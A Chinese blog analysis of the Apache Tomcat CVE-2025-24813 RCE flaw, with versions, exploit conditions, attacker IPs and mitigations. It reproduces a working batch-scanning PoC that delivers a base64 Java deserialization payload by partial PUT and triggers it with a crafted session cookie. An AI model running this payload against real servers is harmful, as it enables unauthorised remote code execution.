CVE-2025-24813 漏洞全解析|Apache Tomcat 關鍵路徑繞過與RCE

CVE-2025-24813 漏洞全解析|Apache Tomcat 關鍵路徑繞過與RCE

作者:Factor .Poc作者:iSee857

  • CVE-2025-24813 漏洞全解析|Apache Tomcat 關鍵路徑繞過與RCE
    • 一、漏洞概述
    • 二、影響版本
    • 三、漏洞原理
      • 🎯 利用流程(兩步):
    • 四、漏洞利用條件
    • 五、在野利用情況與威脅分析
      • 🌐 已知惡意攻擊者 IP(來自 Greynoise 數據):
      • 🔍 指紋與攻擊跡象(IoC):
    • 六、PoC 與復現情況
      • Poc引用作者:iSee857
      • Poc復現:
    • 七、防護建議
      • ? 官方修復版本:
      • ? 臨時緩解策略:
      • ? 工具支持:
    • 八、總結

在這里插入圖片描述

一、漏洞概述

CVE-2025-24813 是 Apache Tomcat 中一個關鍵的路徑等效性(Path Equivalence)漏洞,允許未經身份驗證的遠程攻擊者在特定配置下實現遠程代碼執行(RCE)、讀取敏感文件,甚至篡改文件內容。該漏洞已在野外被觀察到存在實際利用行為,影響范圍廣泛。


二、影響版本

  • Tomcat 11.0.0-M1 至 11.0.2(修復于 11.0.3)
  • Tomcat 10.1.0-M1 至 10.1.34(修復于 10.1.35)
  • Tomcat 9.0.0.M1 至 9.0.98(修復于 9.0.99)
  • Tomcat 8.5.x(Insikt Group 發現 8.5.0 至 8.5.98 和 8.5.100 也受影響,8.5.99 是唯一不受影響版本)

三、漏洞原理

該漏洞的核心是 Tomcat 對部分 PUT 請求(Partial PUT)和文件路徑解析的處理邏輯存在缺陷,攻擊者可以通過構造特定請求繞過默認中間件驗證機制,從而觸發遠程代碼執行或敏感文件操作。

🎯 利用流程(兩步):

  1. 攻擊者構造一個 Base64 編碼的 Java 反序列化 Payload,通過 PUT 請求提交至服務端。
  2. 隨后通過一個附帶特制 JSESSIONID 的 GET 請求觸發服務器反序列化該 Payload,最終執行任意代碼。

四、漏洞利用條件

遠程代碼執行(RCE)需要滿足以下條件:

  • 默認 Servlet 具備寫權限(默認是關閉的)
  • 啟用 Partial PUT(默認開啟)
  • 應用使用基于文件的 Session 持久化,且存儲位置為默認目錄
  • 應用中包含可被反序列化利用的第三方庫(如 fastjson, commons-collections 等)

此外,如果配置允許,攻擊者還可以:

  • 查看敏感安全文件內容
  • 注入數據至敏感文件

這些額外風險成立的前提:

  • 上傳路徑在可公開訪問目錄之下
  • 攻擊者知道目標上傳文件名
  • 上傳通過 Partial PUT 實現

注:雖然這些條件組合在一起并不常見,但確實存在大量線上實例仍配置為可被利用狀態。


五、在野利用情況與威脅分析

🌐 已知惡意攻擊者 IP(來自 Greynoise 數據):

惡意IP地址來源地攻擊目標國家
203.160.68.24中國香港美國
176.65.138.172德國日本、新加坡、印尼、臺灣等
38.126.114.186美國印度、墨西哥、美國
188.213.161.98意大利日本、韓國
140.143.182.115中國澳大利亞、墨西哥等
196.240.54.120拉脫維亞美國

全球范圍內,Shodan 掃描數據顯示,約有 378,444 臺暴露的 Tomcat 實例可能受到影響,主要分布在中國、美國、摩洛哥和巴西等地。

🔍 指紋與攻擊跡象(IoC):

  • Web 目錄中出現未知 .jsp 文件
  • Web 日志中存在異常 PUT 請求記錄
  • 外部 GET/POST 請求訪問惡意 JSP
  • WAF 報告觸發“未授權上傳”規則

六、PoC 與復現情況

使用方式:

批量檢測支持多線程:

python poc.py -l url.txt -t 5

單個檢測:

python poc.py -u your-ip

Poc引用作者:iSee857

引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

Poc復現:

import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutorCOLOR = {"RED": "\033[91m","GREEN": "\033[92m","YELLOW": "\033[93m","BLUE": "\033[94m","PURPLE": "\033[95m","CYAN": "\033[96m","RESET": "\033[0m"
}BANNER = rf"""
{COLOR['PURPLE']}___  _ __   ___ | |_ ___  ___| |_ / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | ||  __/\__ \ |_ \___/| .__/ \___/ \__\___||___/\__||_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""# Payload
PAYLOAD = base64.b64decode("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"
)def print_vulnerable(target):print(f"\n{COLOR['RED']}[!] 目標存在漏洞: {target}")print(f"[+] CVE-2025-24813 Apache Tomcat 遠程代碼執行漏洞{COLOR['RESET']}\n")def check_target(target):try:host, port = target.split(":")port = int(port)except:print(f"{COLOR['YELLOW']}[!] 無效目標格式: {target}{COLOR['RESET']}")returnbase_url = f"http://{host}:{port}"put_url = f"{base_url}/iSee857/session"try:put_response = requests.put(put_url,headers={"Host": f"{host}:{port}","Content-Length": "10000","Content-Range": "bytes 0-1000/1200"},data=PAYLOAD,verify=False,timeout=10)if put_response.status_code == 409:get_response = requests.get(base_url,headers={"Cookie": "JSESSIONID=.iSee857"},verify=False,timeout=10)if get_response.status_code == 500:print_vulnerable(target)return Trueprint(f"{COLOR['GREEN']}[+] {target} 未檢測到漏洞{COLOR['RESET']}")return Falseexcept requests.exceptions.RequestException as e:print(f"{COLOR['YELLOW']}[!] {target} 檢測失敗: {str(e)}{COLOR['RESET']}")return Falseexcept Exception as e:print(f"{COLOR['RED']}[!] {target} 發生錯誤: {str(e)}{COLOR['RESET']}")return Falsedef main():print(BANNER)parser = argparse.ArgumentParser(description='Apache Tomcat RCE檢測工具')parser.add_argument('-u', '--url', help='單個目標 (格式: ip:port)')parser.add_argument('-l', '--list', help='包含多個目標的文件')parser.add_argument('-t', '--threads', type=int, default=5, help='并發線程數 (默認: 5)')args = parser.parse_args()targets = []if args.url:targets.append(args.url)elif args.list:try:with open(args.list, 'r') as f:targets = [line.strip() for line in f if line.strip()]except FileNotFoundError:print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")sys.exit(1)else:parser.print_help()sys.exit(1)print(f"{COLOR['CYAN']}[*] 開始檢測,共 {len(targets)} 個目標...{COLOR['RESET']}")with ThreadPoolExecutor(max_workers=args.threads) as executor:results = executor.map(check_target, targets)vulnerable_count = sum(1 for result in results if result)print(f"\n{COLOR['PURPLE']}[*] 檢測完成,共發現 {vulnerable_count} 個存在漏洞的目標{COLOR['RESET']}")if __name__ == "__main__":main()

在這里插入圖片描述


七、防護建議

? 官方修復版本:

  • 升級至:11.0.3 / 10.1.35 / 9.0.99
  • 8.5.x 用戶建議遷移至受支持分支,避免繼續使用 EoL 版本

? 臨時緩解策略:

  • 顯式關閉 default servlet 的寫權限:

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>

  • 在 Web 應用中禁用 Partial PUT 請求(使用 WAF 攔截或 nginx 過濾)

  • 清理 webapps/ROOT/ 路徑下的未授權文件

? 工具支持:

  • Insikt Group 提供 Nuclei 檢測模板(可用于批量掃描)
  • Recorded Future 提供 ASI 簽名規則用于攻擊面定位

八、總結

CVE-2025-24813 是一次典型的“路徑+反序列化+配置缺陷”復合型漏洞,表面上源于文件路徑處理缺陷,實際利用則依賴于多個錯誤配置的疊加效應。

它提醒我們:邊界可信假設失效、中間件權限設置失誤、反序列化引擎暴露等老問題,在現代系統中依舊構成致命威脅

安全不僅僅是打補丁,更是對配置、邏輯與習慣的全面治理。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/76095.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/76095.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/76095.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

初識Linux:常見指令與權限的理解,以及相關衍生知識

目錄 前言 關于linux的簡介 代碼開源 網絡功能強大 系統工具鏈完整 一、Linux下的基本指令 1.ls指令 2.pwd指令 3.cd指令 4.whoami指令 5.touch指令 6.mkdir指令 7.rm指令 8.man指令 9.cp指令 10.mv指令 11.nano指令 12.cat指令 13.tac指令 14.more指令 15.less指令 16.head指令…

JVM虛擬機篇(七):JVM垃圾回收器全面解析與G1深度探秘及四種引用詳解

JVM垃圾回收器全面解析與G1深度探秘及四種引用詳解 JVM虛擬機&#xff08;七&#xff09;&#xff1a;JVM垃圾回收器全面解析與G1深度探秘及四種引用詳解一、JVM有哪些垃圾回收器1. Serial回收器2. ParNew回收器3. Parallel Scavenge回收器4. Serial Old回收器5. Parallel Old回…

革新電銷流程,數企云外呼開啟便捷 “直通車”

在當今競爭激烈的商業環境中&#xff0c;電銷作為一種重要的營銷手段&#xff0c;依舊在企業的客戶拓展與業務增長中扮演著關鍵角色。然而&#xff0c;傳統電銷流程常常面臨諸多困擾&#xff0c;像是封卡封號風險、接通率不理想、客戶開發與管理艱難以及銷售考核復雜等問題&…

適合工程建筑行業的OA系統有什么推薦?

工程行業具有項目周期長、協作鏈條復雜等特性&#xff0c;傳統管理模式下的 “人治”“紙質化” 弊端日益凸顯。OA 系統作為數字化管理的核心載體&#xff0c;通過流程標準化、數據可視化&#xff0c;精準解決工程行業項目管理核心痛點。 泛微 e-office 深度聚焦工程場景&#…

車載刷寫架構 --- ECU收到相同的blockSequenceCounter數據包的思考

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 周末洗了一個澡,換了一身衣服,出了門卻不知道去哪兒,不知道去找誰,漫無目的走著,大概這就是成年人最深的孤獨吧! 舊人不知我近況,新人不知我過…

C++ RAII 的用途及業務代碼實現案例

C RAII 的用途及業務代碼實現案例 RAII 的核心概念 RAII (Resource Acquisition Is Initialization&#xff0c;資源獲取即初始化) 是 C 的核心編程范式&#xff0c;其核心思想是&#xff1a; 資源獲取與對象構造綁定資源釋放與對象析構綁定利用 C 對象生命周期自動管理資源…

黑馬 SpringAI+DeepSeek 實戰:從對話機器人到企業級知識庫的大模型開發全攻略

附完整代碼 項目案例&#xff0c;3 天吃透大模型應用開發核心技術 需要完整項目學習視頻以及源碼的私信博主&#xff0c;謝謝~大家一起加油吶&#xff01;&#xff01; 01.認識AI和大模型 小結 AI的發展過程 符號主義 機器學習 深度學習——自然語言處理&#xff08;NLP…

共工新聞社與韓國新華報社達成合作

在當下媒體融合浪潮奔涌的時代背景下&#xff0c;大灣區經濟網戰略媒體香港共工新聞社與韓國新華報社順利簽署合作協議&#xff0c;攜手為傳播全球化進程以及海外華文媒體從單一媒體向多媒體的內涵拓展&#xff0c;乃至區域經濟協同與文化融合發展貢獻力量。 締結友好華文媒體協…

嵌入式Linux驅動——3 總線設備驅動模型

目錄 1.總線設備驅動模型 1.1 總線設備驅動模型 1.2 設備樹 1.3 platform_device 和 platform_driver 的匹配規則 1.3.1 最先比較 1.3.2 然后比較 1.3.3 最后比較 2.LED 模板驅動程序的改造&#xff1a;總線設備驅動模型 1.總線設備驅動模型 在前面的 led 驅動程序中…

操作系統常用命令

邏輯卷創建及掛載步驟&#xff1a; vgcreate vg_app /dev/sda //在sda盤上創建vg_app卷組 lvcreate -L 50G -n lv_mysql vg_app //在vg_app卷組上創建邏輯卷lv_mysql mkfs.xfs /dev/vg_app/lv_mysql //對lv_mysql 邏輯卷創建文件系統 mkdir mysql //創建mysql目錄 ech…

Git 的進階功能和技巧

1、分支的概念和使用 1.1、什么是分支&#xff1f; 分支&#xff08;Branch&#xff09;是在版本控制中非常重要的概念。幾乎所有版本控制系統都支持某種形式的分支。在 Git 中&#xff0c;分支是 Git 強大功能之一&#xff0c;它允許我們從主開發線分離出來&#xff0c;在不…

mapbox基礎,加載F4Map二維地圖

????? 主頁: gis分享者 ????? 感謝各位大佬 點贊?? 收藏? 留言?? 加關注?! ????? 收錄于專欄:mapbox 從入門到精通 文章目錄 一、??前言1.1 ??mapboxgl.Map 地圖對象1.2 ??mapboxgl.Map style屬性二、??F4Map 簡介2.1 ??技術特點2.2 ??核…

Conda使用方法詳解

Conda是一個開源的包管理和環境管理系統&#xff0c;主要用于Python/R等科學計算領域&#xff0c;可以輕松管理不同項目的依賴關系。以下是Conda的詳細使用方法&#xff1a; 一、安裝與配置 1.安裝Miniconda/Anaconda Miniconda是精簡版&#xff0c;只包含conda和Python Ana…

Unity ViewportConstraint

一、組件功能概述 ViewportConstraint是一個基于世界坐標的UI邊界約束組件&#xff0c;主要功能包括&#xff1a; 將UI元素限制在父容器范圍內支持自定義內邊距&#xff08;padding&#xff09;可獨立控制水平和垂直方向的約束 二、實現原理 1. 邊界計算&#xff08;世界坐…

代碼隨想錄-動態規劃24

leetcode-300-最長遞增子序列 dp[i]表示i之前包括i的以nums[i]結尾的最長遞增子序列的長度 dp[j]是(0,i-1)不包括i的以nums[i-1]結尾的最長遞增子序列長度 int lengthOfLIS(int* nums, int numsSize) {if(numsSize < 1)return numsSize;int dp[numsSize];for(int i 0 ; i &…

銀河麒麟V10 Ollama+ShellGPT打造Shell AI助手——筑夢之路

環境說明 1. 操作系統版本: 銀河麒麟V10 2. CPU架構&#xff1a;X86 3. Python版本&#xff1a;3.12.9 4. 大模型&#xff1a;mistral:7b-instruct 準備工作 1. 編譯安裝python 3.12 # 下載python 源碼wget https://www.python.org/ftp/python/3.12.9/Python-3.12.9.tg…

2025 跨平臺技術如何選:KMP 與 Flutter 的核心差異

前言 在移動開發的演進歷程中&#xff0c;跨平臺技術始終是一個充滿爭議卻無法回避的話題。從早期的 React Native 到如今的 Kotlin Multiplatform&#xff08;KMP&#xff09;和 Flutter&#xff0c;開發者們始終在代碼復用與原生體驗之間尋找平衡。本文我們從技術實現、性能…

Python Cookbook-5.10 選取序列中最小的第 n個元素

任務 需要根據排名順序從序列中獲得第n個元素(比如&#xff0c;中間的元素&#xff0c;也被稱為中值)。如果序列是已經排序的狀態&#xff0c;應該使用seq[n]&#xff0c;但如果序列還未被排序&#xff0c;那么除了先對整個序列進行排序之外&#xff0c;還有沒有更好的方法? …

列表之鏈表_C

數據結構&#xff08;鄧俊輝&#xff09;&#xff1a;列表及相關概念_listnodeposi-CSDN博客 #include <stdio.h> #include <stdlib.h>// 定義Rank類型為int typedef int Rank;// 定義ListNode結構體 typedef struct ListNode {int data;struct ListNode* pred;st…

0401react中使用css-react-css-仿低代碼平臺項目

文章目錄 1、普通方式-內聯使用css2、引入css文件2.1、示例2.2、classnames 3、內聯css與引入css文件對比3.1、內聯css3.2、 外部 CSS 文件&#xff08;External CSS&#xff09; 4、css module5、sass6、classnames組合scss modules7、css-in-js7.1、CSS-in-JS 的核心特性7.2、…